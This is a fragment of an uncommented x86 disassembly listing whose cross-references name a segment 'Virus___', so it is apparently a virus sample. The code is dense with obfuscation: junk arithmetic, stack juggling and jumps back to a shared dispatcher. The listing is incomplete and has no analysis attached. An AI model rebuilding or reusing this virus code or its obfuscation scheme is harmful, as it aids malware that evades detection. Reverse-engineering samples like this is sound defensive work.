

loc_547913:				; CODE XREF: sub_54CC16+9j
		xchg	eax, [esp-28h+arg_22+2]
		mov	esp, [esp-28h+arg_22+2]
		mov	word ptr [esp-28h+arg_22+2], ax
		jmp	loc_549268
; ---------------------------------------------------------------------------


loc_547922:				; CODE XREF: sub_545A2B+67ABj
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp-24h+arg_1E+2], ecx
		push	0C10h
		mov	[esp-20h+arg_1A+2], edi
		mov	edi, 7E8877A5h
		jmp	loc_5453EE
; ---------------------------------------------------------------------------


loc_54793C:				; DATA XREF: Virus___:00542EC4o
		mov	cx, word ptr [esp-20h+arg_1A+2]
		sub	esp, 4
		mov	[esp-1Ch+arg_16+2], ebx
		push	esp
		pop	ebx
		jmp	loc_543C7B
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-1Ch+arg_16+2]
		push	0D0h
		mov	[esp-18h+arg_12+2], esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_547CC2
; ---------------------------------------------------------------------------


loc_547967:				; DATA XREF: Virus___:00542E54o
		lodsd
		push	ebx
		mov	ebx, 0D7F1482h
		not	ebx
		jmp	loc_546E85
; ---------------------------------------------------------------------------


loc_547975:				; CODE XREF: sub_545A2B+28F1j
		push	ebx
		push	4
		jmp	loc_544543
; ---------------------------------------------------------------------------


loc_547980:				; CODE XREF: sub_545A2B-F74j
		push	0
		add	[esp-4Ch+arg_46+2], 2C9506E4h
		jmp	loc_544FF2
; ---------------------------------------------------------------------------


loc_547991:				; CODE XREF: sub_545A2B+B4Dj
		push	edx
		mov	edx, 0FFFFFFFFh
		add	ecx, 45FA5C11h
		add	ecx, edx
		sub	ecx, 45FA5C11h
		mov	edx, [esp-10h+arg_A+2]
		add	esp, 4
		push	ebx
		mov	ebx, 3A2B6907h
		xor	ecx, ebx
		pop	ebx
		xor	eax, ecx
		pop	ecx
		push	7B8Dh
		mov	[esp-14h+arg_E+2], esi
		push	1
		mov	esi, [esp-10h+arg_A+2]
		add	esp, 4
		and	eax, esi
		push	[esp-14h+arg_E+2]
		pop	esi
		jmp	sub_54D226
; ---------------------------------------------------------------------------


loc_5479D5:				; CODE XREF: sub_545A2B+7E8Cj
		xchg	ebx, [esp-14h+arg_E+2]
		not	ebx
		jmp	loc_543C92
; ---------------------------------------------------------------------------


loc_5479DF:				; CODE XREF: sub_545A2B+92B3j
		pop	eax
		jmp	loc_54DA47
; ---------------------------------------------------------------------------


loc_5479E5:				; CODE XREF: sub_545A2B-22BAj
		add	edi, 625F1E2Dh
		xor	edi, 5A677129h
		add	eax, edi
		pop	edi
		push	ecx
		jmp	loc_54837A
; ---------------------------------------------------------------------------


loc_5479FA:				; CODE XREF: sub_545A2B+1316j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-2Eh+arg_2A]
		pop	esp
		mov	[esp-32h+arg_2E], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 2
		jmp	loc_54C1DB
; ---------------------------------------------------------------------------


loc_547A20:				; CODE XREF: sub_545A2B+3374j
		xchg	esi, ecx
		jmp	loc_54F347
; ---------------------------------------------------------------------------


loc_547A27:				; CODE XREF: sub_545A2B+699Fj
		mov	esp, [esp-32h+arg_2E]
		add	esp, 4
		div	ecx
		push	446Ch
		mov	[esp-32h+arg_2E], edx
		push	eax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-2Ah+arg_26]
		jmp	loc_549E7F
; ---------------------------------------------------------------------------


loc_547A47:				; CODE XREF: sub_545A2B-F69j
		xor	ebx, edx
		pop	edx
		or	ecx, ebx
		pop	ebx
		inc	ecx
		xor	ecx, 0D9F57DF1h
		jmp	loc_549F71
; ---------------------------------------------------------------------------


loc_547A59:				; CODE XREF: sub_545A2B+9127j
		pop	dword ptr [eax]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_547A60:				; CODE XREF: sub_545A2B+45BCj
		push	edx
		mov	edx, 2FEC5877h
		sub	esp, 4
		jmp	loc_54CF8E
; ---------------------------------------------------------------------------


loc_547A6E:				; CODE XREF: sub_545A2B-1061j
		mov	edi, 2
		add	esi, edi
		push	[esp-50h+arg_4C]
		jmp	loc_546514
; ---------------------------------------------------------------------------


loc_547A7D:				; CODE XREF: sub_545A2B+6FD9j
		add	esp, 4
		jmp	loc_544C06
; ---------------------------------------------------------------------------


loc_547A88:				; CODE XREF: sub_545A2B+6595j
		mov	[esp-50h+arg_4C], eax
		push	64820ED0h
		mov	eax, [esp-4Ch+arg_46+2]
		jmp	loc_54C8D2
; ---------------------------------------------------------------------------


loc_547A98:				; CODE XREF: sub_545A2B+94BCj
		push	edx
		mov	edx, 192F68AFh
		or	edx, 6DE36CB4h
		shr	edx, 4
		push	eax
		mov	eax, 77C03096h
		shr	eax, 5
		push	ebx
		mov	ebx, 65BD09ADh
		add	eax, ebx
		pop	ebx
		shr	eax, 8
		jmp	loc_54C75F
; ---------------------------------------------------------------------------


loc_547AC1:				; CODE XREF: sub_54E630-9D56j
		xchg	esi, [esp-44h+arg_3E+2]
		pop	esp
		mov	[esp-48h+arg_42+2], edi
		mov	edi, esp
		add	edi, 4
		push	67B6h
		mov	[esp-44h+arg_3E+2], esi
		jmp	loc_545ABA
; ---------------------------------------------------------------------------


loc_547ADD:				; CODE XREF: sub_545A2B+513Cj
		push	edi
		mov	edi, 285770CDh
		and	edx, edi
		mov	edi, [esp-40h+arg_3A+2]
		add	esp, 4
		jmp	loc_54BFC5
; ---------------------------------------------------------------------------
		push	[esp-44h+arg_3E+2]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-40h+arg_3A+2]
		pop	esp
		jmp	loc_54E191
; ---------------------------------------------------------------------------


loc_547B09:				; CODE XREF: sub_545A2B+835Ej
		sub	eax, 0FF8F02h
		add	ebx, eax
		jmp	loc_54731F
; ---------------------------------------------------------------------------


loc_547B15:				; CODE XREF: sub_545A2B+9042j
		mov	esi, [esp-44h+arg_3E+2]
		push	ebp
		jmp	loc_54D0E0
; ---------------------------------------------------------------------------


loc_547B1E:				; CODE XREF: sub_545A2B+403Dj
		pop	ecx
		sub	esp, 4
		mov	[esp-40h+arg_3A+2], ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp-40h+arg_3A+2], eax
		push	343700A0h
		pop	eax
		xor	eax, 343700A4h
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp-44h+arg_3E+2]
		mov	esp, [esp-44h+arg_3E+2]
		push	5195h
		mov	[esp-40h+arg_3A+2], esi
		jmp	loc_5491F0
; ---------------------------------------------------------------------------


loc_547B57:				; CODE XREF: sub_545A2B+655Fj
		push	eax
		mov	eax, esp
		jmp	loc_545839
; ---------------------------------------------------------------------------


loc_547B5F:				; CODE XREF: sub_545A2B+66Dj
		xchg	edi, [esp-1Ch+arg_16+2]
		pop	esp
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_547B68:				; CODE XREF: sub_545A2B+7000j
		xor	al, bh
		pop	bx
		push	eax
		push	edx
		mov	dl, 0AEh
		mov	ah, dl
		jmp	loc_545652
; ---------------------------------------------------------------------------


loc_547B77:				; CODE XREF: sub_545A2B-21C9j
		push	edx
		mov	dh, 2Dh
		push	ebx
		mov	bh, 64h
		shl	bh, 2
		xor	bh, 0CFh
		add	bh, 0BDh
		jmp	loc_543DBF
; ---------------------------------------------------------------------------


loc_547B8B:				; CODE XREF: sub_545A2B+243Ej
		mov	ebp, eax
		mov	eax, [esp-28h+arg_22+2]
		add	esp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp-30h+arg_2A+2]
		mov	esp, [esp-30h+arg_2A+2]
		mov	eax, [esp-30h+arg_2A+2]
		push	edi
		push	esp
		mov	edi, [esp-28h+arg_22+2]
		add	esp, 4
		push	626h
		mov	[esp-28h+arg_22+2], eax
		jmp	sub_544364
; ---------------------------------------------------------------------------


loc_547BBA:				; CODE XREF: sub_545A2B+53B4j
		xor	ebp, [esp-28h+arg_22+2]
		xor	[esp-28h+arg_22+2], ebp
		xor	ebp, [esp-28h+arg_22+2]
		mov	esp, [esp-28h+arg_22+2]
		mov	ax, word ptr [esp-28h+arg_22+2]
		jmp	loc_546170
; ---------------------------------------------------------------------------


loc_547BCF:				; CODE XREF: sub_545A2B+4FAEj
		add	edi, 2
		xchg	edi, [esp-28h+arg_22+2]
		pop	esp
		btc	word ptr [esp-2Ch+arg_26+2], ax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_547BE1:				; CODE XREF: sub_545A2B+E94j
		pop	esp
		sub	ebp, 29424AB3h
		jmp	sub_543268
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-56h+arg_50+2]
		push	604Ch
		jmp	loc_547263
; ---------------------------------------------------------------------------


loc_547BFB:				; CODE XREF: sub_545A2B+53EAj
		pop	eax
		add	esp, 4
		push	esi
		jmp	loc_544809
; ---------------------------------------------------------------------------


loc_547C08:				; DATA XREF: Virus___:00542E3Co
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	[esp-58h+arg_54], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_547C17:				; CODE XREF: sub_54E352+25j
		pop	eax
		push	ecx
		push	[esp-54h+arg_54]
		pop	ecx
		pop	[esp-54h+arg_50]
		mov	esp, [esp-58h+arg_54]
		xor	[esp-58h+arg_54], eax
		jmp	loc_546DBB
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_54B141
; ---------------------------------------------------------------------------


loc_547C33:				; CODE XREF: sub_545A2B+4AFj
		pop	edx
		push	esi
		jmp	loc_546008
; ---------------------------------------------------------------------------


loc_547C3A:				; CODE XREF: sub_545A2B+6CB2j
		mov	ebp, [esp-3Ch+arg_36+2]
		add	esp, 4
		inc	esi
		add	esi, 70CD33CEh
		add	esi, 32F97445h
		mov	ebx, esi
		jmp	loc_54BEC1
; ---------------------------------------------------------------------------


loc_547C57:				; CODE XREF: sub_545A2B+7EFAj
		mov	[esp-40h+arg_3A+2], eax
		push	72122338h
		pop	eax
		xor	eax, 7212233Ch
		mov	ebx, eax
		pop	eax
		mov	eax, ebx
		pop	ebx
		sub	ecx, 36427DCDh
		add	ecx, eax
		add	ecx, 36427DCDh
		jmp	loc_5498AF
; ---------------------------------------------------------------------------


loc_547C7E:				; CODE XREF: sub_545A2B-3DEj
		pop	eax
		xchg	ebx, [esp-18h+arg_12+2]
		mov	esp, [esp-18h+arg_12+2]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_547C8A:				; CODE XREF: sub_545A2B+5CA6j
		and	edx, 0B16021Ch
		and	edx, 24890C13h
		add	edx, 3C576B64h
		add	edi, edx
		jmp	loc_543E17
; ---------------------------------------------------------------------------


loc_547CA3:				; CODE XREF: sub_543776+12j
		xor	[esp-18h+arg_12+2], ebx
		xor	ebx, [esp-18h+arg_12+2]
		mov	esp, [esp-18h+arg_12+2]
		push	eax
		push	edx
		push	7EF5h
		mov	[esp+0], ebx
		mov	ebx, 79403BA4h
		mov	edx, ebx
		jmp	loc_54DCCA
; ---------------------------------------------------------------------------


loc_547CC2:				; CODE XREF: sub_545A2B+1F37j
		sub	ebx, 4
		xchg	ebx, [esp-14h+arg_E+2]
		pop	esp
		jmp	loc_548F18
; ---------------------------------------------------------------------------


loc_547CD1:				; CODE XREF: sub_545A2B+2364j
		add	edi, 44319797h
		push	ecx
		mov	ecx, 2D771DB9h
		and	ecx, 69C9207Ah
		add	ecx, 6DD832BFh
		add	ecx, 6A506AF3h
		neg	ecx
		xor	ecx, 0E63B2616h
		add	edx, ecx
		pop	ecx
		add	edx, edi
		sub	edx, 18AD4400h
		pop	edi
		jmp	loc_548428
; ---------------------------------------------------------------------------


loc_547D08:				; CODE XREF: sub_545A2B-E3Cj
		add	edi, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp-14h+arg_E+2]
		mov	esp, [esp-14h+arg_E+2]
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_547D27:				; CODE XREF: sub_545A2B+4462j
		pop	[esp-12h+arg_E]
		mov	esp, [esp-16h+arg_12]
		mul	cx
		push	small 3326h
		mov	word ptr [esp-14h+arg_E+2], dx
		push	ax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_547D40:				; CODE XREF: sub_545A2B+2414j
		pop	eax
		shr	ebp, 4
		sub	ebp, 63D0248h
		sub	ebp, 6BF5783h
		push	eax
		mov	eax, ebp
		push	ecx
		mov	ecx, eax
		mov	[edx+38h], ecx
		pop	ecx
		mov	eax, [esp-0Eh+arg_A]
		add	esp, 4
		push	[esp-12h+arg_E]
		pop	ebp
		add	esp, 4


loc_547D6D:				; CODE XREF: sub_543268+5j
		push	ecx
		jmp	loc_54C157
; ---------------------------------------------------------------------------


loc_547D73:				; CODE XREF: sub_545A2B-1795j
		mov	edi, 659C053Ah
		push	eax
		mov	eax, 5AE812B1h
		sub	edi, eax
		mov	eax, [esp-22h+arg_1E]
		add	esp, 4
		shl	edi, 5
		shr	edi, 4
		jmp	loc_547CD1
; ---------------------------------------------------------------------------


loc_547D94:				; CODE XREF: sub_545A2B+3A1Fj
		pop	eax
		xor	eax, 34AB67A5h
		jmp	loc_5460F9
; ---------------------------------------------------------------------------


loc_547D9F:				; CODE XREF: sub_545A2B+5E68j
		mov	dl, 0C5h
		dec	dl
		inc	dl
		jmp	loc_546507
; ---------------------------------------------------------------------------


loc_547DAA:				; CODE XREF: sub_545A2B+5823j
		not	eax
		sub	eax, 0F2619D94h
		jmp	loc_54833A
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_546FE3
; ---------------------------------------------------------------------------


loc_547DBC:				; CODE XREF: sub_545A2B+853Ej
		add	ebx, 381F0335h
		add	ebx, 0BA23E32h
		add	ebx, eax
		sub	ebx, 0BA23E32h
		sub	ebx, 381F0335h
		pop	eax
		jmp	loc_54BA2A
; ---------------------------------------------------------------------------


loc_547DDC:				; CODE XREF: sub_545A2B+2A5Fj
		sub	ebp, 3FACF6C0h
		jmp	loc_5460F2
; ---------------------------------------------------------------------------


loc_547DE7:				; CODE XREF: sub_545A2B-1648j
		and	ch, 41h
		add	ch, 5Fh
		dec	ch
		sub	ch, 0BDh
		not	ch
		add	ch, 87h
		jmp	loc_546690
; ---------------------------------------------------------------------------


loc_547DFC:				; CODE XREF: sub_545A2B-122Dj
		mov	edx, 2
		jmp	loc_545064
; ---------------------------------------------------------------------------


loc_547E06:				; CODE XREF: sub_545A2B-AE0j
		sub	eax, esi
		add	eax, 0DC86102h
		push	[esp-20h+arg_1A+2]
		jmp	loc_54B279
; ---------------------------------------------------------------------------


loc_547E15:				; CODE XREF: sub_545A2B-1FB1j
		push	182h
		mov	[esp-34h+arg_2E+2], esi
		jmp	loc_546783
; ---------------------------------------------------------------------------


loc_547E22:				; CODE XREF: sub_545A2B+1D92j
		push	eax
		jmp	loc_546EA2
; ---------------------------------------------------------------------------


loc_547E28:				; CODE XREF: sub_545A2B-1672j
		add	dh, 0E3h
		add	dh, 0B6h
		jmp	loc_54E497
; ---------------------------------------------------------------------------
off_547E33	dd offset dword_41E000+61768h ;	DATA XREF: Virus___:00542E28o
		align 4
		jmp	loc_546D02
; ---------------------------------------------------------------------------


loc_547E3D:				; CODE XREF: sub_545A2B-4F0j
		sub	ebp, eax
		jmp	loc_547D40
; ---------------------------------------------------------------------------


loc_547E44:				; CODE XREF: sub_545A2B+3E7Fj
		sub	esi, 20BD2B55h
		add	esi, eax
		add	esi, 20BD2B55h
		mov	eax, [esp-3Ah+arg_36]
		add	esp, 4
		push	ebp
		push	eax
		push	2BB81DC8h
		pop	eax
		shl	eax, 6
		dec	eax
		sub	eax, 0EE0771FBh
		jmp	loc_547B8B
; ---------------------------------------------------------------------------


loc_547E6E:				; CODE XREF: sub_545A2B+69Aj
		shr	eax, 18h
		jmp	loc_548016
; ---------------------------------------------------------------------------


loc_547E76:				; CODE XREF: sub_545A2B+63CBj
		mov	[esp-3Ch+arg_36+2], ebx
		mov	eax, [esp-3Ch+arg_36+2]
		jmp	loc_54B536
; ---------------------------------------------------------------------------


loc_547E81:				; CODE XREF: sub_545A2B-6DCj
		add	edx, 4
		xchg	edx, [esp-44h+arg_3E+2]
		pop	esp
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_547E90:				; CODE XREF: sub_545A2B+56ACj
		not	eax
		or	eax, 62F25885h
		shr	eax, 4
		push	edx
		mov	edx, 0F810D829h
		add	eax, edx
		jmp	loc_54BBCD
; ---------------------------------------------------------------------------


loc_547EA7:				; CODE XREF: sub_545A2B+52F4j
		add	eax, edi
		pop	edi
		push	eax
		jmp	loc_54D1BD
; ---------------------------------------------------------------------------


loc_547EB0:				; CODE XREF: sub_545A2B+3995j
		xor	[esp-44h+arg_42+2], edi
		jmp	loc_54C91D
; ---------------------------------------------------------------------------


loc_547EB9:				; CODE XREF: sub_545A2B+2DB1j
		pop	esi
		sub	eax, ebx
		pop	ebx
		push	ebp
		jmp	loc_54729B
; ---------------------------------------------------------------------------


loc_547EC3:				; CODE XREF: sub_545A2B+7F66j
		mov	[edi+eax*4+1], cl
		jmp	loc_54A1E7
; ---------------------------------------------------------------------------


loc_547ECC:				; CODE XREF: sub_545A2B+44CBj
		not	bh
		xchg	bh, cl
		shl	cl, 1
		jmp	loc_546A40
; ---------------------------------------------------------------------------


loc_547ED7:				; CODE XREF: sub_545A2B-BC8j
		add	ebp, 4
		jmp	loc_544920
; ---------------------------------------------------------------------------


loc_547EE2:				; CODE XREF: sub_545A2B+C95j
		mov	edi, 0A9C62D51h
		add	ebp, edi
		pop	edi
		or	ebx, ebp
		pop	ebp
		shl	ebx, 6
		push	esi
		mov	esi, 54511857h
		jmp	loc_54F316
; ---------------------------------------------------------------------------


loc_547EFB:				; CODE XREF: sub_545A2B+2BBAj
		add	ecx, ebx
		add	ecx, 0EA54F9Ah
		jmp	loc_549F3F
; ---------------------------------------------------------------------------


loc_547F08:				; CODE XREF: sub_545A2B+12D2j
		push	[esp-20h+arg_1E+2]
		pop	edi
		jmp	loc_54BA1C
; ---------------------------------------------------------------------------


loc_547F12:				; CODE XREF: sub_545A2B+90A3j
		add	esi, 4
		add	esi, 4
		jmp	loc_54329A
; ---------------------------------------------------------------------------


loc_547F23:				; CODE XREF: sub_545A2B+32Ej
		or	eax, 20856BB2h
		push	edx
		mov	edx, 539C7F74h
		jmp	loc_546DD8
; ---------------------------------------------------------------------------


loc_547F33:				; CODE XREF: sub_545A2B+37E2j
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_544551
; ---------------------------------------------------------------------------


loc_547F41:				; CODE XREF: sub_545A2B+35F6j
		pop	ebp
		and	edx, ebp
		pop	ebp
		jmp	sub_54DA1B
; ---------------------------------------------------------------------------


loc_547F4A:				; CODE XREF: sub_545A2B+9880j
		push	ebx
		mov	ebx, 60081CD7h
		and	edi, ebx
		pop	ebx
		sub	edi, 0FFFFFFFFh
		push	ecx
		mov	ecx, 5C097F42h
		neg	ecx
		shl	ecx, 6
		push	edx
		jmp	loc_5468E6
; ---------------------------------------------------------------------------


loc_547F6A:				; CODE XREF: sub_545A2B+1C12j
		push	bx
		jmp	loc_54EA64
; ---------------------------------------------------------------------------


loc_547F71:				; CODE XREF: sub_545A2B+889Dj
		mov	edx, 4
		add	edi, edx
		pop	edx
		push	edi
		push	[esp-10h+arg_E+2]
		jmp	loc_545D0C
; ---------------------------------------------------------------------------


loc_547F83:				; CODE XREF: sub_545A2B-1EF6j
		inc	ah
		xor	ah, 47h
		push	edx
		mov	dh, ah
		jmp	loc_5439BE
; ---------------------------------------------------------------------------


loc_547F90:				; CODE XREF: sub_545A2B+AD7j
		xor	word ptr [esp-28h+arg_22+2], cx
		xor	cx, word ptr [esp-28h+arg_22+2]
		xor	word ptr [esp-28h+arg_22+2], cx
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_547FA1:				; DATA XREF: Virus___:00542EA0o
		push	eax
		sub	[esp-24h+arg_1E+2], 46C4054Fh
		push	[esp-24h+arg_1E+2]
		pop	eax
		push	edi
		jmp	loc_54328B
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-20h+arg_1A+2]
		push	0F42h
		mov	[esp-1Ch+arg_16+2], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		push	ebp
		push	[esp-14h+arg_12+2]
		pop	ebp
		jmp	loc_549D58
; ---------------------------------------------------------------------------


loc_547FDE:				; CODE XREF: sub_545A2B+14EFj
		mov	ebx, 29670CEAh
		inc	ebx
		push	edi
		mov	edi, 3EC20FEFh
		add	ebx, edi
		pop	edi
		shr	ebx, 5
		jmp	loc_54B0FA
; ---------------------------------------------------------------------------


loc_547FF5:				; CODE XREF: sub_545A2B+6002j
		xor	[esp-3Ch+arg_36+2], ebx
		xor	ebx, [esp-3Ch+arg_36+2]
		jmp	loc_543867
; ---------------------------------------------------------------------------


loc_548000:				; CODE XREF: sub_545A2B-F34j
		mov	ebx, 360610DEh
		and	edi, ebx
		jmp	loc_548321
; ---------------------------------------------------------------------------
		neg	word ptr [esp-30h+arg_2A+2]
		pushf
		jmp	loc_5461C0
; ---------------------------------------------------------------------------


loc_548016:				; CODE XREF: sub_545A2B+2446j
		xor	eax, ecx
		jmp	loc_549049
; ---------------------------------------------------------------------------


loc_54801D:				; CODE XREF: sub_545A2B+6416j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-3Ch+arg_36+2]
		pop	esp
		push	ebx
		mov	ebx, 2
		add	edi, 2C5A2B55h
		sub	edi, 1CC65ADBh
		add	edi, ebx
		add	edi, 1CC65ADBh
		jmp	loc_54643D
; ---------------------------------------------------------------------------


loc_54804C:				; CODE XREF: sub_545A2B+6CFj
		add	eax, 419177CAh
		jmp	loc_548993
; ---------------------------------------------------------------------------


loc_548056:				; CODE XREF: sub_545A2B+222j
		mov	edi, 42516DCh
		xor	edi, 637040CBh
		jmp	loc_548A6F
; ---------------------------------------------------------------------------


loc_548066:				; CODE XREF: sub_545A2B+7AE7j
		push	ebx
		mov	bl, 76h
		shl	bl, 4
		sub	esp, 4
		mov	[esp-18h+arg_12+2], edx
		mov	dh, 6Eh
		sub	dh, 1
		not	dh
		not	dh
		push	ecx
		mov	ch, 3Fh
		jmp	loc_544E35
; ---------------------------------------------------------------------------


loc_548086:				; CODE XREF: sub_545A2B+14F7j
		add	eax, 4
		jmp	loc_54581A
; ---------------------------------------------------------------------------


loc_548090:				; CODE XREF: sub_545A2B+372Bj
		pop	ecx
		xor	al, dl
		push	[esp-28h+arg_22+2]
		pop	edx
		add	esp, 4
		jmp	loc_54457F
; ---------------------------------------------------------------------------


loc_54809F:				; CODE XREF: sub_545A2B-F3Cj
		mov	esp, [esp-48h+arg_42+2]
		rol	[esp-48h+arg_42+2], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5480AB:				; CODE XREF: sub_545A2B-1DE5j
		sub	esi, 71317989h
		xor	esi, 48CD6A53h
		jmp	loc_54E7DB
; ---------------------------------------------------------------------------


loc_5480BC:				; CODE XREF: sub_545A2B+3E8Aj
		pop	ecx
		pop	[esp-34h+arg_2E+2]
		mov	esp, [esp-38h+arg_32+2]
		push	edx
		sub	esp, 4
		mov	[esp-30h+arg_2A+2], esp
		add	[esp-30h+arg_2A+2], 4
		mov	edx, [esp-30h+arg_2A+2]
		add	esp, 4
		jmp	loc_54AC59
; ---------------------------------------------------------------------------


loc_5480DC:				; CODE XREF: sub_545A2B+8808j
		add	ch, 0FFh
		jmp	loc_54F2EA
; ---------------------------------------------------------------------------


loc_5480E4:				; CODE XREF: sub_54E287-4C1j
		mov	eax, [esp-34h+arg_2E+2]
		jmp	loc_544129
; ---------------------------------------------------------------------------


loc_5480EC:				; CODE XREF: sub_545A2B+348Bj
		add	eax, esi
		pop	esi
		xor	eax, [esp-38h+arg_32+2]
		jmp	loc_54BE6B
; ---------------------------------------------------------------------------


loc_5480F7:				; CODE XREF: sub_545A2B+5D6Dj
		add	bl, 0EEh
		sub	esp, 4
		jmp	loc_5497CB
; ---------------------------------------------------------------------------


loc_548102:				; CODE XREF: sub_545A2B-1227j
		pop	[esp-3Ah+arg_36]
		jmp	loc_54694E
; ---------------------------------------------------------------------------


loc_54810A:				; CODE XREF: sub_545A2B-B1j
		xchg	edi, [esp-0Eh+arg_A]
		pop	esp
		pop	[esp-12h+arg_E]
		pop	esp
		bt	[esp-1Ah+arg_16], eax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54811C:				; CODE XREF: sub_545A2B+8BD9j
		sub	esp, 4
		jmp	loc_54BE32
; ---------------------------------------------------------------------------


loc_548127:				; CODE XREF: sub_545A2B+836Cj
		add	esi, ecx
		pop	ecx
		xor	esi, [esp-16h+arg_12]
		xor	[esp-16h+arg_12], esi
		xor	esi, [esp-16h+arg_12]
		mov	esp, [esp-16h+arg_12]
		cmp	cl, al
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54813E:				; CODE XREF: sub_545A2B-16DEj
		mov	ecx, [esp-18h+arg_12+2]
		add	esp, 4
		neg	bh
		jmp	loc_5478D9
; ---------------------------------------------------------------------------


loc_54814B:				; CODE XREF: sub_545A2B+6026j
		xchg	ah, bh
		not	ah
		xchg	ah, bh
		xor	bh, 2Ah
		sub	bh, 72h
		sub	al, bh
		mov	ebx, [esp-1Ch+arg_16+2]
		sub	esp, 4
		mov	[esp-18h+arg_12+2], ecx
		jmp	loc_54831A
; ---------------------------------------------------------------------------


loc_54816A:				; CODE XREF: sub_545A2B+58C8j
		mov	eax, ecx
		pop	ecx
		jmp	loc_5459DA
; ---------------------------------------------------------------------------


loc_548172:				; CODE XREF: sub_545A2B-8DEj
		add	ecx, eax
		jmp	loc_54D53D
; ---------------------------------------------------------------------------


loc_548179:				; CODE XREF: sub_545A2B+3FA7j
		pop	ecx
		sub	eax, 7CF41691h
		jmp	loc_54CF37
; ---------------------------------------------------------------------------


loc_548184:				; DATA XREF: Virus___:00542D60o
		movzx	ax, byte ptr fs:[edx]
		push	small 77A0h
		mov	word ptr [esp-46h+arg_42], ax
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_548196:				; CODE XREF: sub_54EB9E-97B5j
		add	ebp, 4AB04C6Ah
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-42h+arg_3E]
		pop	esp
		mov	[esp-46h+arg_42], edx
		mov	edx, 28F13DF2h
		xor	ebp, edx
		mov	edx, [esp-46h+arg_42]
		add	esp, 4
		push	ebx
		mov	ebx, 1
		sub	ebp, ebx
		pop	ebx
		add	ebp, 0F574C08Dh
		jmp	loc_54F162
; ---------------------------------------------------------------------------


loc_5481D0:				; CODE XREF: sub_545A2B+63E7j
		sub	ebx, esi
		jmp	loc_5455FF
; ---------------------------------------------------------------------------


loc_5481D7:				; CODE XREF: sub_545A2B+1AE6j
		add	edx, 4
		sub	edx, 4
		push	edx
		push	[esp-1Ah+arg_1A]
		pop	edx
		pop	[esp-1Ah+arg_16]
		mov	esp, [esp-1Eh+arg_1A]
		jmp	loc_548915
; ---------------------------------------------------------------------------


loc_5481F4:				; CODE XREF: sub_545A2B-11CBj
		add	ecx, ebp
		pop	ebp
		push	eax
		jmp	loc_54708D
; ---------------------------------------------------------------------------


loc_5481FD:				; CODE XREF: sub_545A2B-1A7Fj
		mov	[esp-3Ch+arg_36+2], ebp
		pop	ecx
		mov	ebp, [esp-40h+arg_3A+2]
		add	esp, 4
		push	39FDh
		mov	[esp-40h+arg_3A+2], eax
		mov	eax, 2E48246Fh
		jmp	loc_54ED7B
; ---------------------------------------------------------------------------


loc_54821C:				; CODE XREF: sub_545A2B+4A4Aj
		push	eax
		mov	ah, 67h
		mov	dl, ah
		pop	eax
		xor	cl, dl
		pop	dx
		xor	al, cl
		mov	cx, word ptr [esp-42h+arg_3E]
		add	esp, 2
		push	ebx
		jmp	loc_546A6E
; ---------------------------------------------------------------------------


loc_548238:				; CODE XREF: sub_545A2B+6C57j
		mov	ecx, 650F39DEh
		and	ecx, 138B2CC8h
		or	ecx, 25FE3098h
		not	ecx
		push	ebx
		mov	ebx, 0DA00C723h
		jmp	loc_544881
; ---------------------------------------------------------------------------


loc_548256:				; CODE XREF: sub_545A2B+868Ej
		mov	al, 6
		sub	al, 9Dh
		push	ecx
		mov	ch, 11h
		sub	ch, 0D0h
		jmp	loc_545BEF
; ---------------------------------------------------------------------------


loc_548265:				; CODE XREF: sub_545A2B+3B31j
		xor	esi, 6E6A44B1h
		xor	esi, 87D45D0Eh
		add	ecx, esi
		pop	esi
		push	ecx
		jmp	loc_5431F2
; ---------------------------------------------------------------------------


loc_54827A:				; CODE XREF: sub_545A2B+3A85j
		push	[esp-3Ah+arg_36]
		pop	ebp
		sub	esp, 4
		mov	[esp-36h+arg_32], ecx
		push	esp
		jmp	loc_5482F1
; ---------------------------------------------------------------------------


loc_54828D:				; CODE XREF: sub_545A2B+65E7j
		xchg	edi, ebx
		not	edi
		jmp	loc_5458DC
; ---------------------------------------------------------------------------


loc_548296:				; CODE XREF: sub_545A2B+A37j
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	ecx
		pop	dword ptr [edi+24h]
		push	[esp-44h+arg_3E+2]
		pop	ecx
		push	eax
		mov	eax, esp
		jmp	loc_54CB4E
; ---------------------------------------------------------------------------


